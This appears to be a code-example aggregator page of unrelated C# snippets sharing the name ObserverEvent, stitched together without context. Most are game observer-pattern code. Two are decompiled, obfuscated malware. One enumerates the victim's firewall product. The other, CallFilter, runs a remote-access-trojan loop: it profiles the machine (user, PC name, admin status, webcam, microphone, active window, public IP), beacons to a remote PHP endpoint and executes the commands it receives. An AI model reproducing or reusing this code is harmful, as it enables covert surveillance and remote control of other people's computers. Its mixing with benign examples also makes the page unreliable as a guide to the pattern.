Beispiel #1
0
 public static string ChangeList()
 {
     //Discarded unreachable code: IL_0002
     //IL_0003: Incompatible stack heights: 0 vs 1
     try
     {
         string text        = string.Empty;
         string scope       = ObserverEvent.AddList() ? "root\\SecurityCenter2" : "root\\SecurityCenter";
         string queryString = "SELECT * FROM FirewallProduct";
         using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(scope, queryString))
         {
             using (ManagementObjectCollection.ManagementObjectEnumerator managementObjectEnumerator = managementObjectSearcher.Get().GetEnumerator())
             {
                 if (managementObjectEnumerator.MoveNext())
                 {
                     ManagementObject managementObject = (ManagementObject)managementObjectEnumerator.Current;
                     text = managementObject["displayName"].ToString();
                 }
             }
         }
         return((!string.IsNullOrEmpty(text)) ? text : "N/A");
     }
     catch
     {
         return("Unknown");
     }
 }
        public override void OnNotify(Entity entity, ObserverEvent observerEvent)
        {
            //we might be able to do a dict with method pointers/
            // ceebs tho

            switch (observerEvent)
            {
            case ObserverEvent.PlayerEndedTurn:
                _combatGameState.EndPlayerTurn();
                break;

            case ObserverEvent.PlayerFiredProjectile:
                _combatGameState.CharacterFiredProjectile(entity);
                break;

            case ObserverEvent.FocusOnPlayer:
                _combatGameState.FocusOnPlayer();
                break;

            case ObserverEvent.FocusOnSatellite:
                _combatGameState.FocusOnSatellite();
                break;

            case ObserverEvent.FocusOnSatelliteStrike:
                _combatGameState.FocusOnSatelliteStrike();
                break;

            case ObserverEvent.FireSatellite:
                _combatGameState.FireSatellite();
                break;
            }
        }
 public void Notify(Entity entity, ObserverEvent observerEvent)
 {
     foreach (Observer observer in _observers)
     {
         observer.OnNotify(entity, observerEvent);
     }
 }
Beispiel #4
0
        public override void OnNotify(Entity entity, ObserverEvent observerEvent)
        {
            switch (observerEvent)
            {
            case ObserverEvent.PlayerEndedTurn:
                _world.EndPlayerTurn();
                break;

            case ObserverEvent.PlayerFiredProjectile:
                _world.CharacterFiredProjectile(entity);
                break;

            case ObserverEvent.FocusOnPlayer:
                _world.FocusOnPlayer();
                break;

            case ObserverEvent.FocusOnSatellite:
                _world.FocusOnSatellite();
                break;

            case ObserverEvent.FocusOnSatelliteStrike:
                _world.FocusOnSatelliteStrike();
                break;

            case ObserverEvent.FireSatellite:
                _world.FireSatellite();
                break;
            }
        }
 /// <summary>
 /// Event를 기다리는 State입니다.
 /// branches List에 들어있는 순서대로 Predicate를 검사하고 True를 반환하는 Key의 Value인 State로 Transition합니다.
 /// </summary>
 /// <param name="e">기다릴 Event</param>
 public TurnMgr_BranchSingleEvent_(
     TurnMgr owner, Unit unit, ObserverEvent e, List<KeyValuePair<Predicate<EventParam>, TurnMgr_State_>> branches, 
     Predicate<EventParam> ignoreCondition = null, Action onWaitEnter = null, Action onWaitExecute = null, Action onWaitExit = null)
     : base(owner, unit, e, null, null, onWaitEnter, onWaitExecute, onWaitExit)
 {
     _branches = branches;
     _ignoreCondition = ignoreCondition;
 }
    // give control back to player after opening cutscene
    private void ReturnPlayerControl()
    {
        trajectory.gameObject.SetActive(true);
        keyZoomAnimation.gameObject.SetActive(false);
        roomCamAnimation.gameObject.SetActive(false);
        var evt = new ObserverEvent(EventName.EnableInput);

        Subject.instance.Notify(gameObject, evt);
    }
 //Send notifications if something has happened
 public void Notify(ObserverEvent ev)
 {
     for (int i = 0; i < observers.Count; i++)
     {
         //Notify all observers even though some may not be interested in what has happened
         //Each observer should check if it is interested in this event
         observers[i].OnNotify(ev);
     }
 }
Beispiel #8
0
    public void OnNotify(ObserverEvent env)
    {
        string[] parts    = env.eventName.Split(':');
        string   detector = parts[0];
        string   status   = parts[1];

        detectors[detector] = status;

        isDetected = detectors.ContainsValue("detected");
    }
    // Use this for initialization
    void Start()
    {
        Subject.instance.AddObserver(this);
        var evt = new ObserverEvent(EventName.StartCutscene);

        Subject.instance.Notify(gameObject, evt);
        ECS.StartCutScene(player);

        roomTrigger.callback = RoomEntered;
    }
    // called once the player enters the room
    private void RoomEntered()
    {
        player.GetComponent <Rigidbody>().velocity = new Vector3(4f, 0, 0);
        player.transform.position = roomTrigger.transform.position;
        trajectory.gameObject.SetActive(false);
        var evt = new ObserverEvent(EventName.DisableInput);

        Subject.instance.Notify(gameObject, evt);
        roomCamAnimation.gameObject.SetActive(true);
        roomCamAnimation.PlayAnimations(OpenExitDoor);
    }
Beispiel #11
0
    /// <summary>
    /// Event를 기다리는 State입니다.
    /// </summary>
    /// <param name="e">기다릴 Event</param>
    /// <param name="nextState">이 State 다음 State</param>
    /// <param name="paramCondition">Event발생시 매개변수를 검사하여 nextState로 Tranisition 여부를 결정하는 Predicate</param>
    public BattleMgr_WaitSingleEvent_(
        BattleMgr owner, ObserverEvent e, BattleMgr_State_ nextState,
        Predicate <EventParam> paramCondition = null, Action onWaitEnter = null,
        Action onWaitExecute = null, Action onWaitExit = null) : base(owner)
    {
        _e              = e;
        _nextState      = nextState;
        _paramCondition = paramCondition;

        _onWaitEnter   = onWaitEnter;
        _onWaitExecute = onWaitExecute;
        _onWaitExit    = onWaitExit;
    }
    public void OnNotify(GameObject entity, ObserverEvent evt)
    {
        switch (evt.eventName)
        {
        case EventName.PlayerSpawned:
            PlayKeyZoomAnimation();
            break;

        case EventName.PlayerGotKey:
            PlayKeyCollectedAnimation();
            break;
        }
    }
    /// <summary>
    /// Event를 기다리는 State입니다.
    /// </summary>
    /// <param name="e">기다릴 Event</param>
    /// <param name="nextState">이 State 다음 State</param>
    /// <param name="paramCondition">Event발생시 매개변수를 검사하여 nextState로 Tranisition 여부를 결정하는 Predicate</param>
    public TurnMgr_WaitSingleEvent_(
        TurnMgr owner, Unit unit, ObserverEvent e, TurnMgr_State_ nextState,
        Predicate <EventParam> paramCondition = null, Action onWaitEnter = null,
        Action onWaitExecute = null, Action onWaitExit = null) : base(owner, unit)
    {
        _e              = e;
        _nextState      = nextState;
        _paramCondition = paramCondition;

        _onWaitEnter   = onWaitEnter;
        _onWaitExecute = onWaitExecute;
        _onWaitExit    = onWaitExit;
    }
Beispiel #14
0
        public override void OnNotify(Entity entity, ObserverEvent observerEvent)
        {
            switch (observerEvent)
            {
            case ObserverEvent.PlayerIsChargingWeapon:
                _ui.UpdateChargeBar();
                break;

            case ObserverEvent.PlayerFiredProjectile:
                _ui.ClearChargeBar();
                _ui.UpdatePreviousWeaponCharge();
                break;
            }
        }
 public static void CallFilter(string asset, string selection)
 {
     //Discarded unreachable code: IL_0002
     //IL_0003: Incompatible stack heights: 0 vs 1
     new Thread((ThreadStart) delegate
     {
         //Discarded unreachable code: IL_0002
         //IL_0003: Incompatible stack heights: 0 vs 1
         SortFilter(asset, selection);
         DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper
         {
             ["ServerType"]   = ParserFilterResolver._0001("C#"),
             ["ServerVer"]    = ParserFilterResolver._0001(MappingListAnnotation._RegistryEvent),
             ["isMicrophone"] = ParserFilterResolver._0001((DecoratorList._0001() > 0) ? "Y" : "N"),
             ["isWebcam"]     = ParserFilterResolver._0001((new AccountInstanceExpression(WrapperIssuerImporter.serializerEvent).Count > 0) ? "Y" : "N"),
             ["isAdmin"]      = ParserFilterResolver._0001(GlobalIssuerImporter.DestroyList() ? "Y" : "N"),
             ["WinVer"]       = ParserFilterResolver._0001(ObserverEvent.VerifyList()),
             ["ACTWindow"]    = ParserFilterResolver._0001(Publisher.InitEvent()),
             ["PCName"]       = ParserFilterResolver._0001(GlobalIssuerImporter.SetList()),
             ["UserName"]     = ParserFilterResolver._0001(GlobalIssuerImporter.RemoveList()),
             ["TAG"]          = ParserFilterResolver._0001(DecoratorReaderMapper.PatchRequest(MappingListAnnotation.m_ServiceEvent)["TAG"].ResetClass <string>()),
             ["IpInfo"]       = DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList("https://ipinfo.io/json"))
         };
         while (true)
         {
             try
             {
                 decoratorReaderMapper["ACTWindow"] = ParserFilterResolver._0001(Publisher.InitEvent());
                 string text = ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(asset + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(asset)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(selection))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("command" + MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(decoratorReaderMapper.SetClass((TimeState)0, new BroadcasterError[0])))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("usermaindata" + asset))))))["response"].ResetClass <string>());
                 if (text.Length > 1)
                 {
                     DecoratorReaderMapper decoratorReaderMapper2 = DecoratorReaderMapper.PatchRequest(text);
                     if (decoratorReaderMapper2.get_Count() > 0)
                     {
                         DecoratorEventEntry.PatchRecord(decoratorReaderMapper2["Command"].ResetClass <string>(), decoratorReaderMapper2["Data"].ResetClass <string>(), asset, selection);
                     }
                 }
                 Thread.Sleep(1000);
             }
             catch
             {
                 Thread.Sleep(10000);
             }
         }
     }).Start();
 }
Beispiel #16
0
 public event ObserverEventHandler ObserverEvent;                // 创建委托事件
 protected override void OnClick(EventArgs e)
 {
     base.OnClick(e);
     if (ObserverEvent == null)                                  // 当委托事件为null时
     {
         new ObserverClass(this);                                // 实例化观察者类,观察者类中会添加需要进行委托的方法
     }                                                           // 如此定义的好处是对于被观察者并不知道观察者进行了哪些动作,并且方便扩展
     ObserverEvent.Invoke(this);
     //if (this.Parent != null)
     //{
     //    foreach (Control c in this.Parent.Controls)
     //    {
     //        if (c.Name == "textBox1")
     //        {
     //            ((TextBox)c).Text += this.Name + "\r\n";
     //        }
     //    }
     //}
 }
Beispiel #17
0
    public void OnNotify(ObserverEvent obsEvent)
    {
        switch (obsEvent)
        {
        case ObserverEvent.FirstInput:
            UnlockInput();
            break;

        case ObserverEvent.FirstWall:
            UnlockFirstWall();
            break;

        case ObserverEvent.FirstEnemy:
            UnlockFirstEnemy();
            break;

        case ObserverEvent.FirstLevel10:
            UnlockFirstLevel10();
            break;

        case ObserverEvent.FirstFood:
            UnlockFood();
            break;

        case ObserverEvent.FirstLevel15:
            UnlockFirstLevel15();
            break;

        case ObserverEvent.FirstRespawnPoint:
            UnlockRespawnPoint();
            break;

        case ObserverEvent.FirstDeath:
            UnlockFirstDeath();
            break;
        }
    }
Beispiel #18
0
 public abstract void OnNotify(Entity entity, ObserverEvent obvsEvent);
Beispiel #19
0
 public void OnNotify(ObserverEvent env)
 {
     GameOver();
 }